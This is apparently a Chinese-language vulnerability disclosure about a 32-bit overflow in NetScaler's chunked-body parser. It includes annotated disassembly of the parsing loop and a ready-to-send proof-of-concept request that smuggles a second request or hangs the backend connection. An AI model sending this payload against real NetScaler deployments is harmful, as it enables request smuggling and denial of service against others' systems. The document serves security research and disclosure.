nsppe 的 HTTP/1.1 分块正文解析器将块大小字段读入一个 32 位寄存器,并且从不检查溢出。当出现九个或更多十六进制数字时,该值会静默回绕:100000005(2^32 + 5)被当作块大小 5 来消费。
这本来只是个有趣的解析器 bug,直到你想起 NetScaler 对正文做了什么:它把客户端的分块帧原样转发给后端,但它用自己回绕后的值来决定请求在哪里结束。于是代理认为请求 #1 在五个正文字节后就完成了,而一个正确读取相同字节的后端会计算出 4,294,967,301,并等待一个永远不会到达的 4 GB 正文。两台机器,同一个字节流,对请求在哪里结束却有两种不同的看法。
在 NetScaler 版本的“结束”之后的所有内容,都会被重新归类为同一客户端连接上的新流水线请求,然后在共享的代理到后端连接上被独立转发。
最终结果取决于后端自己的解析器:
一个未认证请求。默认配置。除了能访问 HTTP vserver 之外没有任何前提条件。
解析器的工作很简单:把像 1a3f\r\n 这样的块大小行转换成一个数字。它接收 rdi 中的缓冲区及其长度 esi,将十六进制值累加到 *rdx 处的 32 位槽中(输入输出,因此跨两个数据包拆分的块大小可以干净地恢复),跳过空白,并要求末尾有 \r\n。它返回已消费的字节数、0 表示“需要更多数据”,或 -1 表示格式错误。
整个循环小到可以用肉眼看出这个 bug:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d 是累加器,宽度为 32 位。每个数字都执行 value <<= 4; value += digit。没有数字计数器,没有大小上限,没有溢出检查,循环中任何地方都没有 jo。第九位数字不会报错;它把数字的高位移出寄存器末尾,而没有人注意到。0x100000005 & 0xffffffff = 5,解析器对此完全满意。
下游恰好只有一项合理性检查,而它错得几乎富有诗意。去分块驱动程序(sub_20af6b0,调用点 0x20af719 / 0x20af9fb,大小存储在 [r12+0x344])对累加值应用符号测试。稍等片刻:只有落在负半区 [0x80000000, 0xffffffff] 的环绕才会被捕获。如果环绕后的大小其低 32 位低于 0x80000000,它就会作为完全正常的分块大小顺利通过。0x100000005 环绕为 5 就是典型情况:发生了环绕,未被察觉,且具有破坏性。
数据包之所以变成走私,是因为 NetScaler 处理请求体的一个设计决策:它将客户端的 chunked 分帧逐字节原样转发给后端,同时使用自己(已环绕的)对该分帧的理解来决定客户端请求在哪里结束。
因此 NetScaler 在五个请求体字节后结束请求 #1,并将剩余的 37 个字节作为第二个流水线请求排队。后端正确地做算术,将 100000005 读作 4,294,967,301,并继续等待请求 #1 的请求体。从那一刻起,两个盒子读取同一个流,却生活在不同的世界里。
你最终进入哪个世界取决于后端。
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |